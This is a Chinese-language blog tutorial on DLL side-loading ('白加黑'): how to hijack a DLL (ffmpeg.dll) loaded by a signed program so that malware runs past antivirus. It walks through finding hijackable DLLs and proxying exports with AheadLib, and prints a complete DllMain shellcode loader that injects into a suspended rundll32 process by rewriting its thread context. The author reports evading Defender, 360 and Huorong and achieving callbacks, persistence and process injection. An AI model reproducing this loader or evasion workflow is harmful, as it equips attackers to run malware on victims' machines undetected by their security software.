白加黑免杀制作(详细)

2023-11-20 12:46:20 浏览数 (2)

前言

最近被微步的一篇文章吸引了,里面讲到银狐通过自解压白 exe 黑 dll 执行截取主线程添加自启动,发现 dll 与普通的免杀有很大的不同,决定自己尝试一下,虽然我之前没有做过白加黑免杀,感觉应该不会太难,但是当我真正尝试的时候才发现很多问题,如:

  • 网上关于如何编写 dll 的资料不全或太过片面
  • 在 dll 的 dllmain 函数中执行 shellcode 导致死锁
  • 如何在 dll 中截取主线程直接上线

通过一翻努力一一解决问题,白加黑终于制作成功,但是发现即便白 exe 有 360 签名也不能过 360 的晶核模式,又通过一番寻找成功 bypass 360 晶核模式,不得不说白加黑除了制作 dll 麻烦,使用起来真是简单高效,适合有一定基础的免杀新手尝试。

本文就会从 dll 开发基础讲起,如何开发和调试 dll,到如何在 dll 中上线木马,dllmain 中上线与 exe 上线的不同,如何在 dll 导出函数中执行上线,以及可能遇见的问题如何解决等。

注:本文用到的所有辅助工具都可在文末下载,源代码仅在【深情种聚集地】小密圈中可下载。

一、dll 开发前置知识

动态链接库(Dynamic Link Library,简称 DLL)是一种 Windows 操作系统中的共享文件,包含一系列可供程序共用的函数、数据和资源。DLL 文件中存放的是各类程序的函数实现过程,当程序需要调用函数时需要先载入DLL,然后取得函数的地址,最后进行调用。使用DLL文件的好处是程序不需要在运行之初加载所有代码,只有在程序需要某个函数的时候才从 DLL 中取出。dll 文件和 exe 文件一样都是 PE 文件。

1. VS目录结构

首先我们打开vs2022新建一个动态链接库:

可以看到有如下目录结构,可以看到有framework.h、pch.h、dllmain.cpp、pch.cpp四个文件:

(1)framework.h 文件

framework.h 文件用于包含项目中需要使用的头文件,可以看到已经默认包含了windows头文件:

(2)pch.h 文件

pch.h 是预编译标头文件,dll的导出函数应该在此处定义:

(3)dllmain.cpp 文件

dllmain.cpp 文件包含程序的入口点,在 dllmain.cpp 中实现的在 pch.h 中定义函数,当然也可以在其他 cpp 文件中实现,如 pch.cpp 等。

2. 入口函数(DllMain)

DllMain是动态链接库的可选入口点。当系统启动或终止进程或线程时,它会使用进程的第一个线程为每个加载的 dll 调用入口点函数。当 dll 使用 LoadLibrary(Ex) 加载和使用 FreeLibrary 函数卸载 dll 时,系统还会调用该函数的入口点函数。

(1)DllMain 示例

DllMain函数结构如下:

代码语言:javascript复制
/*
* hModule:DLL模块句柄
* ul_reason_for_call:调用函数的原因
* lpReserved:保留参数
*/
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
      case DLL_PROCESS_ATTACH: // 当DLL被进程加载时执行,每个新进程只初始化一次。
      case DLL_THREAD_ATTACH: // 当线程被创建时调用
      case DLL_THREAD_DETACH: // 当线程结束时执行
      case DLL_PROCESS_DETACH: // 当DLL被进程卸载时执行
            if (lpvReserved != nullptr)
            {
                break; // lpvReserved为非空时,表示进程被终止,不做任何清理
            }
            // 执行必要的清理
          break;
    }
    return TRUE; // DLL_PROCESS_ATTACH成功
}
(2)DLL_PROCESS_ATTACH

当一个 dll 文件被映射到进程的地址空间时,系统调用该 dll 的 DllMain 函数,传递的 fdwReason 参数为DLL_PROCESS_ATTACH,该值只会被传递一次。

一个程序要调用DLL里的函数,首先要先把DLL文件映射到进程的地址空间。要把一个 dll 文件映射到进程的地址空间,有两种方法:静态链接(.lib)和使用 LoadLibrary(Ex) 方法加载的动态链接。

(3)DLL_PROCESS_DETACH

当 dll 被从进程的地址空间解除映射时调用。

以下情况 dll 会被从进程的地址空间中解除映射:

  • 调用 FreeLibrary
  • 进程结束
  • 传入 DLL_PROCESS_ATTACH 的 DllMain 返回 FALSE

如果调用了 TerminateProcess() 终结进程,则不会传入 DLL_PROCESS_DETACH 做任何清理工作。

(4)DLL_THREAD_ATTACH

当进程创建一线程时调用,与 DLL_PROCESS_ATTACH 不同,该值可被多次调用。

当进程创建一线程时,系统查看当前映射到进程地址空间中的所有 dll 文件映像,并用值 DLL_THREAD_ATTACH 调用 dll 的 DllMain 函数。新创建的线程负责执行这次的 dll 的 DllMain 函数,只有当所有的 dll 都处理完这一通知后,系统才允许进程开始执行它的线程函数。

(5)DLL_THREAD_DETACH

当线程调用了 ExitThread 来结束线程(线程函数返回)时调用。如果调用了 TerminateThread() 终结线程,则不会传入 DLL_THREAD_DETACH 做任何清理工作。

3. DllMain 函数名修饰-APIENTRY

根据宏定义:

代码语言:javascript复制
#define CALLBACK __stdcall   // WIN32编程中的回调函数类型
#define WINAPI __stdcal
#define WINAPIV __cdecl
#define APIENTRY WINAPI   // DllMain的入口就在这里
#define APIPRIVATE __stdcall
#define PASCAL __stdcall

APIENTRY 根据宏定义#define APIENTRY WINAPI 以及#define WINAPI __stdcall 可知 APIENTRY 是属于 __stdcall 调用约定。

__stdcall 是一种函数调用约定,函数调用约定主要约束了两件事:参数传递顺序、调用堆栈由谁 (调用函数或被调用函数)清理。常见的函数调用约定有:__cdecl、__stdcall、__fastcall、__thiscall,其中 __cdecl 是 CC 的默认调用约定,__stdcall 是 Windows API 的默认调用约定。

4. 静态链接库(.lib)

在编译动态链接库(.dll)时还会输出相应的静态链接库(.lib):

lib 文件中包含一些索引信息,记录了 dll 中函数的入口和位置,lib 用于在开发编译时使用,dll 则在运行时使用。

在开发程序时使用 lib 需要两个文件:

  • .h 头文件,包含 lib 中说明输出的类或符号原型或数据结构。
  • .lib 文件。

如果你将导出函数定义在 pch.h 文件中,那么开发时就使用如下代码包含这两个文件,当然不要忘记将这俩个文件复制到 dlltest 项目下:

代码语言:javascript复制
#include "pch.h"
#pragma comment (lib, "Dll3.lib")

这样在开发时就可以直接使用 Dll3.dll 中的导出函数了,不需要使用 LoadLibrary 导入 dll,程序执行后会自动寻找相应的 dll 并导入。

5. 函数名修饰

在编译器编译期间会对函数名进行修饰,以方便其他工具和程序通过函数名获取到函数的定义和原型,部分程序或工具有时需要指定函数名修饰来定位函数的正确位置。大多数情况下我们并不需要知道函数名修饰,程序或工具会自动区分他们。

(1)导出函数名修饰规则

C 和 C 的导出函数名修饰规则不同,根据不同的调用约定有不同的修饰方法,见下表:

可以看到 C 比 C 的函数名修饰规则复杂了很多,但也能传递更多的信息。

(2)去除函数名修饰

函数名修饰可能导致以下问题:

  • 由于 C 和 C 函数名修饰规则的不同,vs 会根据文件名后缀是 .c 还是 .cpp 选择不同的编译方式,使用 C 的编译的 .lib 在 C 程序中调用和使用 C 编译的 .lib 在 C 程序中调用可能会出问题,如约定不匹配导致的堆栈异常等。
  • 由于有函数名修饰,在其他程序中使用 GetProcAddress 时以原函数名无法获取到函数,必须使用修饰后的函数名。

由于 C 对于 ___cdecl 约定的输出函数,函数名会保持原样。为了解决以上问题,最简单的方法就是在函数前面加上extern "C",告诉编译器该方法以 C 语言编译,同时让 C 编译器知道它是使用 C 语言编译,这样 C 和 C 都能正常调用该函数,在其他程序中使用 GetProcAddress 时也能以原函数名获取到函数。

使用 dumpbin 查看未使用extern "C"时的导出函数:

使用extern "C"时32 位的导出函数:

可以看到 32 位的函数名保持了原样输出,不过括号内还是以 __cdecl 约定修饰的 _sum。

使用extern "C"时64 位的导出函数:

可以看到 64 位的导出函数名保持了原样输出,不过括号内函数名也保持了原样。

二、dll 开发和调试

1. dll 开发

首先使用vs2022新建一个动态链接库,然后在 pch.cpp 中编写一个导出函数:

然后在 pch.h 中定义该函数,定义代码如下:

代码语言:javascript复制
#ifdef Dll3_EXPORTS
#define API_DECLSPECKM    __declspec(dllexport)
#else
#define API_DECLSPECKM    __declspec(dllimport)
#endif

extern "C" API_DECLSPECKM int sum(int a, int b);

前面这段宏定义的意思是如何定义一个了宏 Dll3_EXPORTS 则定义 API_DECLSPECKM 为 __declspec(dllexport) 反之则定义 API_DECLSPECKM 为 __declspec(dllimport)。

注意,第一个宏 Dll3_EXPORTS 的名称就是 dll 的名称 Dll3 后面加上 _EXPORTS。

定义导出的函数需要使用 __declspec(dllexport) 或 __declspec(dllimport) 进行修饰,无论使用哪一个都可以编译成功,但是它们有一些细微的差别,其中 __declspec(dllimport) 比 __declspec(dllexport) 通用性更好,所以默认一般是使用 __declspec(dllimport) 进行修饰。

这样只有一个导出函数的 dll 就编写完成了,点击[生成]->[生成 dll]:

2. dll 导出函数查看

(1)使用 dumpbin 查看

dumpbin 是 vs 自带的一款工具,可以查看 obj 文件、lib 库、dll 库、exe 执行文件,使用方法如下:

代码语言:javascript复制
# 查看 dll 库中包含哪些函数
dumpbin /exports a.dll
# 查看 exe 中加载了哪些动态库
dumpbin /imports a.exe
# 查看 lib 库中包含哪些函数
dumpbin /all /rawdata:none a.lib
# 查看 obj 文件中包含哪些函数
dumpbin /all /rawdata:none d.obj
# 查看 dll 头信息
dumpbin /headers a.dll

在开始菜单的 vs2022 目录下找到 Developer Command Prompt for VS 2022 命令行工具并打开:

输入 dumpbin /exports Dll3.dll 查看 Dll3.dll 的导出函数:

可以看到导出了一个函数 sum,其索引为 1。

使用 dumpbin /headers Dll3.dll 查看其头信息,可以看到这是一个 32 位的 dll:

(2)使用 Dependencies 查看

Dependencies 是对旧版软件 Dependency Walker 的重写,支持 windows10 以上系统。在 github 上可以下载。

双击 DependenciesGui.exe 启动:

打开后直接将 dll 拖入窗口即可:

点击 Dll3.dll 即可查看其导入和导出函数:

3. dll 调试

由于 dll 不能直接运行,因此在 vs 中无法直接对 dll 进行调试,需要新建一个 exe 项目进行调试。

右键【解决方案】->【添加】->【新建项目】:

选择控制台应用:

名称设为 dlltest:

创建后解决方案下就多了一个 dlltest 项目:

在 dlltest.cpp 中调用动态加载 dll:

注意,这时还不能直接点击运行 exe,需要右键 dlltest 选择【设为启动项目】:

这样就变会我们熟悉的 exe 调试按钮了:

点击运行顺利加载 dll 调用 sum 方法返回 1 2 的和了:

需要注意的是,每次 dll 修改后(包括打断点)都要右键 dll 项目重新生成,不然 exe 调用的 dll 还是旧的 dll。

我们打一个断点,调试运行:

顺利对 dll 进行调试:

这里对 dll 的调试就完成了,这里使用动态加载 dll 的方式进行调试,如果希望使用静态链接库进行调试,可以看参考链接 [3]。

三、白加黑前置知识

白加黑是一种利用 DLL 劫持技术来绕过安全软件的主动防御,以达到加载恶意程序的目的。通过劫持合法程序的DLL文件,将恶意代码嵌入其中,使得恶意程序能够在不被安全软件检测到的情况下运行。

1. dll 文件的搜索路径顺序

dll 加载如果指指定了 dll 文件名而没有指定具体路径一般是按照一定的路径顺序一次去搜索,如果能在搜索到正确的 dll 之前使其先搜索到我们的恶意 dll 就能造成 dll 劫持。

(1)Windows XP SP2 之前
代码语言:javascript复制
⇓ 应用程序所在目录
⇓ 当前目录(通过 GetCurrentDirectory 获取)
⇓ 系统目录(通过 GetSystemDirectory 获取)
⇓ 16位系统目录(为了向前兼容的处理,通常不考虑)
⇓ Windows 目录(通过 GetWindowsDirectory 获取)
⇓ PATH 环境变量中的各个目录

(2)Windows xp sp2 之后

默认开启 dll 安全的搜索模式(SafeDllSearchMode),即如下注册表项被设为1:

代码语言:javascript复制
HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode
代码语言:javascript复制
⇓ 应用程序所在目录
⇓ 系统目录(即 C:WindowsSystem32)
⇓ 16位系统目录(即 C:WindowsSystem)
⇓ Windows 目录(即 C:Windows)
⇓ 当前目录(当前执行文件所在目录)
⇓ PATH 环境变量中的各个目录

可以看出就是将当前目录的顺序调后了。

(3)Windows7 和 Windows2003 以上版本

取消了 SafeDllSearchMode 注册表项且默认采用 dll 安全的搜索模式的情况下又加入了 KnownDLLs 注册表项:

代码语言:javascript复制
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

在该注册表项下的 dll 都会直接从系统目录即 System32 目录下调用加载:

2. dll 静态和动态调用的特点

dll 加载有静态调用和动态调用之分,了解其加载特点也是很重要的。

(1)dll 静态调用特点

dll 静态调用即使用(一)中 2 所说的静态链接库(lib)的方式加载。

在 exe 中使用了静态链接库方式加载的 dll 能直接在 Dependencies 和 dumpbin 等PE查看器中查看出来:

当静态链接库所需的 dll 不存在时会弹出错误提示框并提示确少的 dll:

当所需的 dll 存在,但是 dll 中不存在所需的函数时也会会弹出错误提示框并提示缺少的函数:

即静态调用时会对 dll 的导出函数进行检查,该 dll 必须包含所需的所有导出函数该 dll 才能被加载:

(2)dll 动态调用特点

dll 动态调用即使用 LoadLibrary(Ex) 函数加载的 dll 了。

dll 动态调用和静态调用相反,无法直接在PE查看器中查看,且当所需 dll 不存在时不会返回任何错误,只有当调用不存在的 dll 中的函数时才会退出程序并返回错误代码:

注意:动态调用和静态调用的区别,静态调用由系统自动加载一般不会对 dll 进行校验,但是动态调用不同,一些程序为了防止 dll 劫持,会对自己的一些位置确切固定不变的 dll 进行校验,如果发现被篡改了则不会加载。

(3)DllMain 是否会执行

静态调用及动态调用时使用 LoadLibrary 函数时 DllMain 如果存在的话默认会被执行,如果动态调用使用的是 LoadLibraryEx 函数加载 dll,可以看到 LoadLibraryEx 比 LoadLibrary 多了一个参数 dwFlags:

代码语言:javascript复制
HMODULE LoadLibraryExW(
  [in] LPCWSTR lpLibFileName,
       HANDLE  hFile,
  [in] DWORD   dwFlags
);

根据微软定义,如果 dwFlags 取值为 DONT_RESOLVE_DLL_REFERENCES 则不会执行 DllMain 函数,也就同样无法利用 DllMain 上线:

使用 LoadLibrary 将 DLL 追加到进程中,但没有相应地调用 FreeLibrary 函数,则值为 DLL_PROCESS_DETACH 的入口点函数将不会被调用。

四、白加黑制作

1. 白名单程序选择

白名单程序一般是指有正规签名的程序,这里以哔哩哔哩为例:

只要有正规签名的程序一般都或多或少都有一定的白名单权限,权限有大有小,具体看该程序相对于杀软来说的重要程度,该程序越重要白名单权限越高。

部分程序即便有正规签名也会被杀软重点监控如有微软签名的 Procdump。

2. 可劫持 dll 查找

选择好白名单程序之后,接下来就要查看其是否有我们可劫持的 dll 了。如何让其加载我们的 dll 跟 dll 的搜索路径顺序有关,不过不是很重要,一般我们能利用的 dll 都是特殊的 dll,无论 SafeDllSearchMode 是否开启最终都是在当前路径之下搜索。可劫持 dll 查找按照 dll 静态调用和动态调用方式分为静态查找和动态查找。

(1)静态查找

一种方法是通过静态调用的特点去查找,将 exe 移动到另一个位置,执行时会提示找不到 dll:

另一种方法是通过 PE 查看器去查找,将 exe 直接从安装位置拖入 Dependencies,注意一定要从安装位置拖入,不然看不到当前路径加载的 dll:

可以看到了加载了 ffmpeg.dll,以及很多系统 dll。

一般情况下,我们只能利用当前路径下的 dll,即 ffmpeg.dll,但有时也能劫持系统 dll,个别系统 dll 也会从当前路径加载,当然,这部分只能通过动态查找才能发现。

(2)动态查找

静态查找只能找到一小部分的 dll,要想找到所有 dll 必须依靠动态查找。

动态查找即直接执行 exe,通过进程监视器(ProcessMonitor)查看其调用了那些 dll。ProcessMonitor 是微软的一款 Windows 高级监控工具,可显示实时文件系统、注册表和进程/线程活动。

由于我主机上没有安装 ProcessMonitor,因此我需要将 exe 拖到虚拟机中执行。

先打开 ProcessMonitor,可以看到有很多程序及大量 API 调用,如果我们不设置过滤器的话,短时间内就会积累大量数据,导致电脑卡顿:

点击工具栏中的 Filter 打开过滤器:

添加一条过滤项 Process Name is 哔哩哔哩.exe,即只查看哔哩哔哩的 api 调用:

然后执行哔哩哔哩就只显示哔哩哔哩的 api 调用了:

但是数据还是很多,我们要筛选出关于 dll 加载的 api。

继续添加过滤器:

然后就可以看到全是 dll 的加载数据了,Path 项显示了 dll 的加载路径,Result 项下面显示 NAME NOT FOUND 表示 dll 加载没有发现:

对数据进行再一次的过滤,一般我们只关注从当前目录下加载的 dll,这些 dll 才是可以利用的。

我把 exe 拖到桌面了,因此添加过滤项 Path begins with C:UsersAnonymousDesktop,这里路径换成自己的路径,筛选 dll 加载路径在桌面下的 dll:

然后就筛选出了所有在当前路径加载的 dll,可以看到有部分名称全大写的系统 dll 也从当前路径加载,按理论来说系统 dll 应该优先从系统目录下加载的,但事实是部分系统 dll 会直接从当前目录加载,原因不明:

注意,这里并不是全部,部分 dll 需要依赖于另一个 dll,比如说有 dll1 和 dll2,dll2 依赖与 dll1,只有 dll1 加载成功才会加载 dll2,由于这里的 exe 不在安装路径因此 dll1 必定加载失败,也就不会显示 dll2,因此最好在安装路径运行 exe 进行动态查找,这样不会漏了 dll。

3. 黑 dll 编写

(1)导出函数上线

这里选择使用 ffmpeg.dll 制作黑 dll,ffmpeg.dll 是被静态链接的。

使用 vs 创建一个动态链接库工程,项目名为 ffmpeg,然后在 DllMain 中弹一个 MessageBox 测试能否在 DllMain 中上线:

然后随便写一个导出函数,什么函数都行,必须要有导出函数,否则静态链接该 dll 时会直接报 0x000007b 错误:

这里参照前面的 dll 开发:

编译时要特别注意一下劫持的 dll 与我们编译的 dll 位数是否相同,不相同执行时也会直接报 0x000007b 错误:

执行时并没有执行 DllMain 函数弹窗,而是提示无法找到 av_buffer_create,静态调用时会对 dll 的导出函数进行检查,该 dll 必须包含所有必需的导出函数该 dll 才能被加载:

要通过导出函数上线,这里要用到另一款工具——集成 aheadlib 插件的 Dependencies。该工具用的是旧版的 Dependencies,在显示 vs 编译的 64 位 dll 的导出函数时可能会无法显示导出函数。

打开集成 aheadlib 插件的 Dependencies,将要劫持的 dll 拖入工具,可以看到这里有 54 个导出函数,自己一个一个写肯定是很麻烦的:

右键该 dll,点击 AHeadLib Codegen 将函数模仿导出到指定文件夹:

可以看到导出了则几个文件,它们的具体作用后面再说:

打开其中的 .c 文件,将其中的 linker 全部复制:

复制到 pch.cpp 中:

把之前随便写的导出函数删了:

在 pch.cpp 中新写一个函数,并弹一个 MessageBox,记得加上extern "C"

将高亮的部分替换成我们新写的函数名:

我这里嫌麻烦,直接用正则替换了:

替换后,当对 exe 调用该 dll 的任意一个导出函数都会执行我们的 run 函数。

注意:替换的函数名要符合导出函数名修饰,使用extern "C"以 c 格式修饰在 64 位下函数名保持不变即 run,在 32 位下函数名前多了一个“_”,即 _run:

然后编译:

使用 Dependencies 查看一下导出函数,可以看到成功导出了函数,用这种方法比我们一个一个弄导出函数要快很多:

运行 exe,发现只有 DllMain 中的弹窗被执行,导出函数中的弹窗并没有被执行:

这是因为程序必须完整的加载所有 dll 后才会调用 dll 中的导出函数,而我们只有一个 exe 和 dll,缺少了大量 dll。

当我们将黑 dll 放回原程序文件夹后,执行 exe 导出函数被调用成功弹出窗口:

发现叉掉弹窗后 bilibili 还是能被正常打开,唯一的问题是视频无法播放:

在导出函数中随便写一个加载器,切换 Release 模式编译:

拖到 exe 安装目录,太简单了直接被 defender 查杀了:

使用动态 key 加密 shellcode,该动态 key 目前还没有杀软能够检测:

成功过静态查杀:

动态 gg:

当然 defender 不是我们免杀的重点,先将 defender 关了,再运行测试能否执行上线。

成功执行上线:

(2)DllMain 上线

在导出函数上线一般需要所有安装 dll 同时存在,所以并不常用,常见的是直接在 DllMain 中上线。DllMain 上线与在导出函数中上线有很大不同,在导出函数中上线直接使用普通的 shellcode 加载器就行了,但 DllMain 中上线则不同。

根据微软官方文档,不能在 DllMain 中调用直接或间接尝试获取加载程序锁的任何函数,否则将导致死锁,这意味着不能使用 Sleep(Ex)、WaitForSingleObject 等有等待延迟的函数,此外微软还列举了 DllMain 中不能使用的一些函数如直接或间接使用 LoadLibrary(Ex)、GetStringTypeA 等,CreateProcess 和 CreateThread 可以调用但存在风险:

如果还使用之前的加载器上线,在调试时你会发现程序一直在运行但迟迟没有上线,一般这种情况是造成死锁了,由于 shellcode 中调用了 Sleep 和 LoadLibrary 等函数。

这里使用一段网上找的可以在 DllMain 中上线的加载器:

代码语言:javascript复制
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
using namespace std;

unsigned char payload[] = "xfcxe8...";
unsigned int payload_len = sizeof payload - 1;

BOOL APIENTRY DllMain(HMODULE hModule,
  DWORD  ul_reason_for_call,
  LPVOID lpReserved
)
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH: {
    char* v7A = (char*)VirtualAlloc(0, payload_len, 0x3000u, 0x40u);
    memcpy((void*)v7A, payload, payload_len);

    struct _PROCESS_INFORMATION ProcessInformation;
    struct _STARTUPINFOA StartupInfo;
    void* v24;
    CONTEXT Context;
    memset(&StartupInfo, 0, sizeof(StartupInfo));
    StartupInfo.cb = 68;
    BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);
    if (result)
    {
      Context.ContextFlags = 65539;
      GetThreadContext(ProcessInformation.hThread, &Context);
      v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, payload_len, 0x1000u, 0x40u);
      WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, payload_len, NULL);
            // 32 位使用 Context.Eip = (DWORD_PTR)v24;
      Context.Rip = (DWORD_PTR)v24;
      SetThreadContext(ProcessInformation.hThread, &Context);
      ResumeThread(ProcessInformation.hThread);
      CloseHandle(ProcessInformation.hThread);
      result = CloseHandle(ProcessInformation.hProcess);
    }

    TerminateProcess(GetCurrentProcess(), 0);
  }

  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

通过 CreateProcess 创建一个 rundll32 进程并在其内存中分配内存写入 shellcode,并通过修改其程序计数器 Rip 指向写入的 shellcode 地址,然后恢复线程执行 shellcode。也就是说并没有在 DllMain 中上线而是在其他程序中上线。

老样子添加动态key:

测试一下能否成功上线:

上传 VT 查了一下,一般般还行:

简单调试一下,轻松全免杀:

360、火绒查杀通过:

执行也成功上线:

测试一下能否添加计划任务:

添加计划任务成功:

也能注入进程,说明成功 bypass 360 晶核模式了:

不过这个加载器有个缺点,即需要在外部程序中上线,银狐的 dll 通过截取主线程直接在 exe 中上线了,我虽然不知道银狐如何截取主线,但通过 hook 主线程也能达到同样的效果:

(3)dll 中续

前面的区域~以后再来探索吧~

五、最后

白加黑简单的说还是更适合做权限维持。

写了两年半终于写完了,能给我个点赞加个关注吗

0 人点赞